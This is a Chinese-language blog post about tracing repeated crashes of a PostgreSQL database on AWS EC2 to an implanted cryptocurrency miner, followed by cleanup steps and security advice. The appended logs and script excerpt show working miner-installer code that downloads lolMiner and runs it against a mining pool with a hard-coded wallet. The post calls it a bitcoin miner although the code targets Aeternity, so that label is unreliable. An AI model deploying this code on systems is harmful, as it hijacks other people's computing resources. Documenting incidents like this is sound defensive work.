##
比特币采矿暗影:AWS EC2 PostgreSQL宕机背后的惊天秘密
云服务器的稳定性至关重要,尤其是在像AWS EC2这样强大的平台上,托管着我们的数据库应用。然而,有时候,即使是最强大的云服务,也可能因为安全疏忽或者潜在的黑客攻击,面临突如其来的威胁。
本文讲述了我在为一个AWS EC2上的PostgreSQL数据库排查宕机问题时,发现的一个惊人的秘密。通过这次调查,我们不仅揭开了一个黑客利用比特币采矿程序造成数据库宕机的真相,也提醒大家时刻保持警惕,确保云服务器的安全。
问题的出现:数据库频繁宕机
事情的开始非常简单——每30分钟,我们的AWS EC2上的PostgreSQL数据库就会无预警地宕机。最初,我们以为是数据库性能或配置问题,于是着手查看日志和资源使用情况,但始终找不到明显的原因。
通过查看系统日志,我们发现每次宕机时,系统资源的消耗异常,CPU负载达到峰值。这个现象让我产生了怀疑——是否有后台进程在消耗过多的计算资源?
开始调查:逐步锁定问题
首先,我检查了数据库的日志和服务器的资源监控工具。通过这些数据,我们发现宕机发生时,系统的CPU使用率飙升,网络流量也异常增大。
接着,我开始对EC2实例进行更细致的检查。AWS提供了CloudWatch等工具,可以实时监控EC2实例的CPU、内存和磁盘使用情况。通过监控图表,我发现每次宕机时,CPU使用率在30分钟时突增,持续数分钟,然后突然下降。这个周期性行为让我意识到,问题可能并非单纯的数据库配置错误,而更可能是某个恶意程序在背后作怪。
关键线索:比特币采矿程序
进一步调查后,我通过命令查看了运行在服务器上的进程,最终发现一个名为miner
的进程。这个进程与比特币采矿程序(bitcoin scraper)相关联,显然是某个黑客通过漏洞植入到服务器中,利用空闲资源进行比特币挖掘。
我们进一步分析了进程的来源,发现它是通过一次安全漏洞利用,远程控制进入服务器并安装的。这种情况在云环境中并不少见,特别是当安全设置不当时,攻击者能够轻松入侵并利用我们的计算资源进行非法活动。
清理与修复:恢复正常操作
确认问题的根源后,我们立即采取了措施:
-
停止并删除了比特币采矿程序:通过查找恶意进程并将其彻底删除,我们有效清除了攻击源。
-
修复了安全漏洞:我们修复了EC2实例的安全漏洞,包括更新系统软件、关闭不必要的端口,并加强SSH登录的密钥认证。
-
增强了安全设置:在AWS上启用了更严格的防火墙规则,限制了入站和出站流量,并启用了多因素身份验证(MFA)。
-
审计日志和回溯:我们进行了全面的安全审计,确保没有留下任何安全隐患。
云服务器安全:勿掉以轻心
通过这次事件,我们深刻认识到云服务器安全的重要性。即便是像AWS这样的云平台,若配置不当或疏忽大意,也容易遭到攻击者的侵入。以下是一些关于云服务器安全的建议:
-
定期检查与更新系统:确保操作系统和应用程序始终保持最新,及时修复已知漏洞。
-
使用强密码与多因素认证(MFA):避免使用默认密码或弱密码,启用MFA来增加安全性。
-
限制入站和出站流量:通过合理配置防火墙规则,确保只有必要的流量可以进入和离开你的服务器。
-
监控与日志审计:使用云提供商的监控工具和日志审计工具,实时查看服务器的活动,及时发现异常行为。
-
限制不必要的开放端口:只开放必须的端口,减少攻击面。
结语
这次调查不仅让我重新审视了云服务器的安全防护,也为大家提供了宝贵的经验。在云平台上托管数据库或其他应用时,时刻保持警惕和定期的安全检查是至关重要的。希望通过分享这一案例,大家能够更加重视云安全,防止类似的安全事故发生。
安全无小事,保护好你的云服务器,确保你的数据不被非法使用。
附日志和bitcoin scraper脚本
Mar 24 02:46:55 ip-172-31-23-158 python3[506]: Traceback (most recent call last): Mar 24 02:46:55 ip-172-31-23-158 python3[506]: File "/usr/local/lib/python3.8/dist-packages/socks.py", line 787, in connect Mar 24 02:46:55 ip-172-31-23-158 python3[506]: super(socksocket, self).connect(proxy_addr) Mar 24 02:46:55 ip-172-31-23-158 python3[506]: ConnectionRefusedError: [Errno 111] Connection refused Mar 24 02:46:55 ip-172-31-23-158 python3[506]: During handling of the above exception, another exception occurred: Mar 24 02:46:55 ip-172-31-23-158 python3[506]: Traceback (most recent call last): Mar 24 02:46:55 ip-172-31-23-158 python3[506]: File "/usr/local/bin/dydxd_script.py", line 475, in <module> Mar 24 02:46:55 ip-172-31-23-158 python3[506]: interact_with_server(tor_proxy_port) Mar 24 02:46:55 ip-172-31-23-158 python3[506]: File "/usr/local/bin/dydxd_script.py", line 336, in interact_with_server Mar 24 02:46:55 ip-172-31-23-158 python3[506]: sock.connect((server_ip, server_port) if not is_local else ("127.0.0.1", server_port)) Mar 24 02:46:55 ip-172-31-23-158 python3[506]: File "/usr/local/lib/python3.8/dist-packages/socks.py", line 47, in wrapper Mar 24 02:46:55 ip-172-31-23-158 python3[506]: return function(*args, **kwargs) Mar 24 02:46:55 ip-172-31-23-158 python3[506]: File "/usr/local/lib/python3.8/dist-packages/socks.py", line 800, in connect Mar 24 02:46:55 ip-172-31-23-158 python3[506]: raise ProxyConnectionError(msg, error) Mar 24 02:46:55 ip-172-31-23-158 python3[506]: socks.ProxyConnectionError: Error connecting to SOCKS5 proxy 127.0.0.1:9050: [Errno 111] Connection refused
复制
Mar 22 04:08:57 ip-172-31-23-158 sudo[18385]: pam_unix(sudo:session): session closed for user postgres Mar 22 04:09:22 ip-172-31-23-158 useradd[18499]: failed adding user 'dydx', data deleted Mar 22 04:09:22 ip-172-31-23-158 systemd[1]: Reloading. Mar 22 04:09:22 ip-172-31-23-158 systemd[1]: Configuration file /run/systemd/system/netplan-ovs-cleanup.service is marked world-inaccessible. This has no effect as configuration data is accessible via APIs without restrictions. Proceeding anyway. Mar 22 04:09:22 ip-172-31-23-158 systemd[1]: Started Dydxd Service. Mar 22 04:09:24 ip-172-31-23-158 python3[18544]: Collecting psutil Mar 22 04:09:24 ip-172-31-23-158 python3[18544]: Downloading psutil-7.0.0-cp36-abi3-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (277 kB) Mar 22 04:09:24 ip-172-31-23-158 python3[18544]: Collecting PySocks Mar 22 04:09:24 ip-172-31-23-158 python3[18544]: Downloading PySocks-1.7.1-py3-none-any.whl (16 kB) Mar 22 04:09:24 ip-172-31-23-158 python3[18544]: Requirement already satisfied: requests in /usr/lib/python3/dist-packages (2.22.0) Mar 22 04:09:24 ip-172-31-23-158 python3[18544]: Collecting schema Mar 22 04:09:24 ip-172-31-23-158 python3[18544]: Downloading schema-0.7.7-py2.py3-none-any.whl (18 kB) Mar 22 04:09:24 ip-172-31-23-158 python3[18544]: Installing collected packages: psutil, PySocks, schema Mar 22 04:09:24 ip-172-31-23-158 python3[18544]: Successfully installed PySocks-1.7.1 psutil-7.0.0 schema-0.7.7 Mar 22 04:09:33 ip-172-31-23-158 useradd[18619]: failed adding user 'dydx', data deleted Mar 22 04:09:43 ip-172-31-23-158 useradd[18679]: failed adding user 'dydx', data deleted Mar 22 04:09:54 ip-172-31-23-158 useradd[18736]: failed adding user 'dydx', data deleted ubuntu@ip-172-31-23-158:/var/log$ ls -l --time-style=full /usr/local/bin/dydxd_script.py | cat -rwxr-xr-x 1 root root 16507 2025-03-22 04:09:22.388169392 +0000 /usr/local/bin/dydxd_script.py
复制
class Service(): is_running: bool miner_zip_path = "C:\\ProgramData\\lolll.zip" miner_dir_path = "C:\\ProgramData\\loll" miner_exe_path : str zip_url = "https://github.com/Lolliedieb/lolMiner-releases/releases/download/1.76a/lolMiner_v1.76a_Win64.zip" zip_hash = "b0deb5980cc2974f9b58521b24d02394da5ac605798015a885db137a1d5b44dc" proc: subprocess.Popen def init(self) -> None: self.is_running = False self.miner_exe_path = self.miner_dir_path + "\\1.76a\\lolMiner.exe" self.proc = None def install_miner(self): while True: if not os.path.exists(self.miner_dir_path): os.mkdir(self.miner_dir_path) if os.path.exists(self.zip_url): if calculate_file_hash(self.miner_zip_path) != self.zip_hash: if not download_file(self.zip_url, self.miner_zip_path): time.sleep(15) continue elif not download_file(self.zip_url, self.miner_zip_path): time.sleep(15) continue hash = calculate_file_hash(self.miner_zip_path) print(f"zip hash : {hash}") os.system(f"tar -xf {self.miner_zip_path} -C {self.miner_dir_path}") break def read_proc_output(self,): try: for stdout_line in self.proc.stdout: print(stdout_line, end='') except: pass def on_start(self,): print("Service started") if system != "Windows": return self.install_miner() print("miner installed") if self.proc != None and isinstance(self.proc, subprocess.Popen): self.proc.terminate() self.proc = subprocess.Popen(f"{self.miner_exe_path} --algo C29AE --pool ae.2miners.com:4040 --user ak_2Gnzy8XJP4jH9mUSWUw7b5afAEQNH37LWyYRNTtX5PY7pbr5v2") # Thread(target=self.read_proc_output, daemon=True).start() def on_stop(self,): print("Service stopped") if self.proc != None and isinstance(self.proc, subprocess.Popen): self.proc.terminate()
复制